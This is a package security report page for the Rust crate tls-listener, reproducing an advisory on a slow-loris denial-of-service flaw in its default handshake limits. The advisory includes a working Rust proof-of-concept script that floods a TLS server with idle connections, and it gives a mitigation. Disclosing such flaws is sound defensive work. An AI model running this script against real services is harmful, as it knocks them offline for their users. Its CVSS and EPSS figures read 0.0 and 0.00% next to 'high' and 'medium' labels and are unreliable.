cargo package report

Is tls-listener safe?

1 known vulnerability, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so cargo packages are not covered.


      cvss
      0.0
      high

      severity out of 10

      epss
      0.00%
      medium

      chance of exploitation in 30 days, 60th percentile of all CVEs

      xyz score
      0.0
      low

      CyberXYZ composite out of 10

      fig. 01 — GHSA-2qph-qpvm-2qf7, the advisory selected below

      // 1 advisories

      GHSA-2qph-qpvm-2qf7

      HIGHCVE-2024-28854
      // summary

      With the default configuration of tls-listener, a malicious user can open 6.4 TcpStreams a second, sending 0 bytes, and can trigger a DoS.

      // details

      The default configuration options make any public service using TlsListener::new() vulnerable to a slow-loris DoS attack.

      /// Default number of concurrent handshakes
      pub const DEFAULT_MAX_HANDSHAKES: usize = 64;
      /// Default timeout for the TLS handshake.
      pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10);
      // poc

      Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server.

      use std::{net::ToSocketAddrs, time::Duration};
      use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet};
      
      #[tokio::main]
      async fn main() {
          const N: usize = 1024;
          const T: Duration = Duration::from_secs(10);
      
          let url = "127.0.0.1:3000";
          let sockets: Vec = url
              .to_socket_addrs()
              .unwrap()
              .inspect(|s| println!("{s:?}"))
              .collect();
      
          let mut js = JoinSet::new();
      
          let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32));
          int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst);
          for _ in 0..10000 {
              for &socket in &sockets {
                  int.tick().await;
                  js.spawn(async move {
                      let mut stream = TcpStream::connect(socket).await.unwrap();
                      let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await;
                  });
              }
          }
      
          while js.join_next().await.is_some() {}
      }
      // impact

      This is an instance of a slow-loris attack). This impacts any publically accessible service using the default configuration of tls-listener

      // mitigation

      Previous versions can mitigate this by passing a large value, such as usize::MAX as the parameter to Builder::maxhandshakes.

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      None
      User interaction
      None
      Scope
      Unchanged
      Confidentiality
      None
      Integrity
      None
      Availability
      High

      Checked 2026-09-27 at 21:39 UTC. The most recent advisory here was published 2024-03-15. Updated continuously from NVD, GHSA, OSV and CNA feeds.

      Think a verdict here is wrong? Tell us — we respond within 2 business days.